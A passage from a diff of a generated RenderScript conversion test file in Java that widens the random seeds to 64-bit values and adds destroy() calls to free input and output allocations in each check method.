-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xd32174a0l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xb570ce64d32174a0l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertChar3Long3Char3(inV, out);
             verifyResultsConvertLong3Char3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Long3Char3: " + e.toString());
         }
@@ -13120,9 +13689,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar3Long3Char3(inV, out);
             verifyResultsConvertLong3Char3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Long3Char3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong3Char3(Allocation inV, Allocation out, boolean relaxed) {
@@ -13176,11 +13747,12 @@
     }
 
     private void checkConvertLong4Char4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x32293994l, true, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0xb570d90632293994l, true, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertChar4Long4Char4(inV, out);
             verifyResultsConvertLong4Char4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Long4Char4: " + e.toString());
         }
@@ -13188,9 +13760,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar4Long4Char4(inV, out);
             verifyResultsConvertLong4Char4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Long4Char4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong4Char4(Allocation inV, Allocation out, boolean relaxed) {
@@ -13249,11 +13823,12 @@
     }
 
     private void checkConvertUlong2Char2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x69bbc2dl, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x5cfe7d11069bbc2dl, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertChar2Ulong2Char2(inV, out);
             verifyResultsConvertUlong2Char2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Ulong2Char2: " + e.toString());
         }
@@ -13261,9 +13836,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar2Ulong2Char2(inV, out);
             verifyResultsConvertUlong2Char2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar2Ulong2Char2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong2Char2(Allocation inV, Allocation out, boolean relaxed) {
@@ -13317,11 +13894,12 @@
     }
 
     private void checkConvertUlong3Char3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x65a38121l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x5cfe87b265a38121l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertChar3Ulong3Char3(inV, out);
             verifyResultsConvertUlong3Char3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Ulong3Char3: " + e.toString());
         }
@@ -13329,9 +13907,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar3Ulong3Char3(inV, out);
             verifyResultsConvertUlong3Char3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar3Ulong3Char3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong3Char3(Allocation inV, Allocation out, boolean relaxed) {
@@ -13385,11 +13965,12 @@
     }
 
     private void checkConvertUlong4Char4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0xc4ab4615l, false, 7);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x5cfe9253c4ab4615l, false, 7);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertChar4Ulong4Char4(inV, out);
             verifyResultsConvertUlong4Char4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Ulong4Char4: " + e.toString());
         }
@@ -13397,9 +13978,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertChar4Ulong4Char4(inV, out);
             verifyResultsConvertUlong4Char4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertChar4Ulong4Char4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong4Char4(Allocation inV, Allocation out, boolean relaxed) {
@@ -13458,11 +14041,12 @@
     }
 
     private void checkConvertDouble2Uchar2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0x2a0f8ae0l, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0x42b56bf72a0f8ae0l, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertUchar2Double2Uchar2(inV, out);
             verifyResultsConvertDouble2Uchar2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Double2Uchar2: " + e.toString());
         }
@@ -13470,9 +14054,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar2Double2Uchar2(inV, out);
             verifyResultsConvertDouble2Uchar2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Double2Uchar2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble2Uchar2(Allocation inV, Allocation out, boolean relaxed) {
@@ -13526,11 +14112,12 @@
     }
 
     private void checkConvertDouble3Uchar3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0x202aabbel, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0x42b73512202aabbel, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertUchar3Double3Uchar3(inV, out);
             verifyResultsConvertDouble3Uchar3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Double3Uchar3: " + e.toString());
         }
@@ -13538,9 +14125,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar3Double3Uchar3(inV, out);
             verifyResultsConvertDouble3Uchar3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Double3Uchar3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble3Uchar3(Allocation inV, Allocation out, boolean relaxed) {
@@ -13594,11 +14183,12 @@
     }
 
     private void checkConvertDouble4Uchar4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0x1645cc9cl, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0x42b8fe2d1645cc9cl, 0.0000000000000000000e+00, 2.5500000000000000000e+02);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertUchar4Double4Uchar4(inV, out);
             verifyResultsConvertDouble4Uchar4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Double4Uchar4: " + e.toString());
         }
@@ -13606,9 +14196,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar4Double4Uchar4(inV, out);
             verifyResultsConvertDouble4Uchar4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Double4Uchar4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble4Uchar4(Allocation inV, Allocation out, boolean relaxed) {
@@ -13667,11 +14259,12 @@
     }
 
     private void checkConvertLong2Uchar2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x83d09ae7l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x79f19ffa83d09ae7l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertUchar2Long2Uchar2(inV, out);
             verifyResultsConvertLong2Uchar2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Long2Uchar2: " + e.toString());
         }
@@ -13679,9 +14272,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar2Long2Uchar2(inV, out);
             verifyResultsConvertLong2Uchar2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Long2Uchar2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong2Uchar2(Allocation inV, Allocation out, boolean relaxed) {
@@ -13735,11 +14330,12 @@
     }
 
     private void checkConvertLong3Uchar3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x79ebbbc5l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x79f3691579ebbbc5l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertUchar3Long3Uchar3(inV, out);
             verifyResultsConvertLong3Uchar3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Long3Uchar3: " + e.toString());
         }
@@ -13747,9 +14343,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar3Long3Uchar3(inV, out);
             verifyResultsConvertLong3Uchar3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Long3Uchar3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong3Uchar3(Allocation inV, Allocation out, boolean relaxed) {
@@ -13803,11 +14401,12 @@
     }
 
     private void checkConvertLong4Uchar4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x7006dca3l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x79f532307006dca3l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertUchar4Long4Uchar4(inV, out);
             verifyResultsConvertLong4Uchar4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Long4Uchar4: " + e.toString());
         }
@@ -13815,9 +14414,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar4Long4Uchar4(inV, out);
             verifyResultsConvertLong4Uchar4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Long4Uchar4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong4Uchar4(Allocation inV, Allocation out, boolean relaxed) {
@@ -13876,11 +14477,12 @@
     }
 
     private void checkConvertUlong2Uchar2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x1fa8b492l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x9ebfc0021fa8b492l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             script.forEach_testConvertUchar2Ulong2Uchar2(inV, out);
             verifyResultsConvertUlong2Uchar2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Ulong2Uchar2: " + e.toString());
         }
@@ -13888,9 +14490,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar2Ulong2Uchar2(inV, out);
             verifyResultsConvertUlong2Uchar2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar2Ulong2Uchar2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong2Uchar2(Allocation inV, Allocation out, boolean relaxed) {
@@ -13944,11 +14548,12 @@
     }
 
     private void checkConvertUlong3Uchar3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x15c3d570l, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x9ec1891d15c3d570l, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             script.forEach_testConvertUchar3Ulong3Uchar3(inV, out);
             verifyResultsConvertUlong3Uchar3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Ulong3Uchar3: " + e.toString());
         }
@@ -13956,9 +14561,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar3Ulong3Uchar3(inV, out);
             verifyResultsConvertUlong3Uchar3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar3Ulong3Uchar3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong3Uchar3(Allocation inV, Allocation out, boolean relaxed) {
@@ -14012,11 +14619,12 @@
     }
 
     private void checkConvertUlong4Uchar4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0xbdef64el, false, 8);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x9ec352380bdef64el, false, 8);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             script.forEach_testConvertUchar4Ulong4Uchar4(inV, out);
             verifyResultsConvertUlong4Uchar4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Ulong4Uchar4: " + e.toString());
         }
@@ -14024,9 +14632,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertUchar4Ulong4Uchar4(inV, out);
             verifyResultsConvertUlong4Uchar4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertUchar4Ulong4Uchar4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong4Uchar4(Allocation inV, Allocation out, boolean relaxed) {
@@ -14085,11 +14695,12 @@
     }
 
     private void checkConvertDouble2Short2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0xbf1d55f9l, -3.2768000000000000000e+04, 3.2767000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0x42b557fbbf1d55f9l, -3.2768000000000000000e+04, 3.2767000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertShort2Double2Short2(inV, out);
             verifyResultsConvertDouble2Short2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Double2Short2: " + e.toString());
         }
@@ -14097,9 +14708,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort2Double2Short2(inV, out);
             verifyResultsConvertDouble2Short2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Double2Short2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble2Short2(Allocation inV, Allocation out, boolean relaxed) {
@@ -14153,11 +14766,12 @@
     }
 
     private void checkConvertDouble3Short3() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0xb53876d7l, -3.2768000000000000000e+04, 3.2767000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 3, 0x42b72116b53876d7l, -3.2768000000000000000e+04, 3.2767000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertShort3Double3Short3(inV, out);
             verifyResultsConvertDouble3Short3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Double3Short3: " + e.toString());
         }
@@ -14165,9 +14779,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort3Double3Short3(inV, out);
             verifyResultsConvertDouble3Short3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Double3Short3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble3Short3(Allocation inV, Allocation out, boolean relaxed) {
@@ -14221,11 +14837,12 @@
     }
 
     private void checkConvertDouble4Short4() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0xab5397b5l, -3.2768000000000000000e+04, 3.2767000000000000000e+04);
+        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 4, 0x42b8ea31ab5397b5l, -3.2768000000000000000e+04, 3.2767000000000000000e+04);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertShort4Double4Short4(inV, out);
             verifyResultsConvertDouble4Short4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Double4Short4: " + e.toString());
         }
@@ -14233,9 +14850,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort4Double4Short4(inV, out);
             verifyResultsConvertDouble4Short4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Double4Short4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertDouble4Short4(Allocation inV, Allocation out, boolean relaxed) {
@@ -14294,11 +14913,12 @@
     }
 
     private void checkConvertLong2Short2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x18de6600l, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 2, 0x79f18bff18de6600l, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertShort2Long2Short2(inV, out);
             verifyResultsConvertLong2Short2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Long2Short2: " + e.toString());
         }
@@ -14306,9 +14926,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort2Long2Short2(inV, out);
             verifyResultsConvertLong2Short2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Long2Short2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong2Short2(Allocation inV, Allocation out, boolean relaxed) {
@@ -14362,11 +14984,12 @@
     }
 
     private void checkConvertLong3Short3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0xef986del, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 3, 0x79f3551a0ef986del, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertShort3Long3Short3(inV, out);
             verifyResultsConvertLong3Short3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Long3Short3: " + e.toString());
         }
@@ -14374,9 +14997,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort3Long3Short3(inV, out);
             verifyResultsConvertLong3Short3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Long3Short3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong3Short3(Allocation inV, Allocation out, boolean relaxed) {
@@ -14430,11 +15055,12 @@
     }
 
     private void checkConvertLong4Short4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x514a7bcl, true, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.SIGNED_64, 4, 0x79f51e350514a7bcl, true, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertShort4Long4Short4(inV, out);
             verifyResultsConvertLong4Short4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Long4Short4: " + e.toString());
         }
@@ -14442,9 +15068,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort4Long4Short4(inV, out);
             verifyResultsConvertLong4Short4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Long4Short4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertLong4Short4(Allocation inV, Allocation out, boolean relaxed) {
@@ -14503,11 +15131,12 @@
     }
 
     private void checkConvertUlong2Short2() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0xb4b67fabl, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 2, 0x9ebfac06b4b67fabl, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             script.forEach_testConvertShort2Ulong2Short2(inV, out);
             verifyResultsConvertUlong2Short2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Ulong2Short2: " + e.toString());
         }
@@ -14515,9 +15144,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort2Ulong2Short2(inV, out);
             verifyResultsConvertUlong2Short2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort2Ulong2Short2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong2Short2(Allocation inV, Allocation out, boolean relaxed) {
@@ -14571,11 +15202,12 @@
     }
 
     private void checkConvertUlong3Short3() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0xaad1a089l, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 3, 0x9ec17521aad1a089l, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             script.forEach_testConvertShort3Ulong3Short3(inV, out);
             verifyResultsConvertUlong3Short3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Ulong3Short3: " + e.toString());
         }
@@ -14583,9 +15215,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort3Ulong3Short3(inV, out);
             verifyResultsConvertUlong3Short3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort3Ulong3Short3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong3Short3(Allocation inV, Allocation out, boolean relaxed) {
@@ -14639,11 +15273,12 @@
     }
 
     private void checkConvertUlong4Short4() {
-        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0xa0ecc167l, false, 15);
+        Allocation inV = createRandomIntegerAllocation(mRS, Element.DataType.UNSIGNED_64, 4, 0x9ec33e3ca0ecc167l, false, 15);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             script.forEach_testConvertShort4Ulong4Short4(inV, out);
             verifyResultsConvertUlong4Short4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Ulong4Short4: " + e.toString());
         }
@@ -14651,9 +15286,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testConvertShort4Ulong4Short4(inV, out);
             verifyResultsConvertUlong4Short4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testConvertShort4Ulong4Short4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsConvertUlong4Short4(Allocation inV, Allocation out, boolean relaxed) {
@@ -14712,11 +15349,12 @@
     }
 
     private void checkConvertDouble2Ushort2() {
-        Allocation inV = createRandomFloatAllocation(mRS, Element.DataType.FLOAT_64, 2, 0xa92a37bcl, 0.0000000000000000000e+00, 6.5535000000000000000e+04);
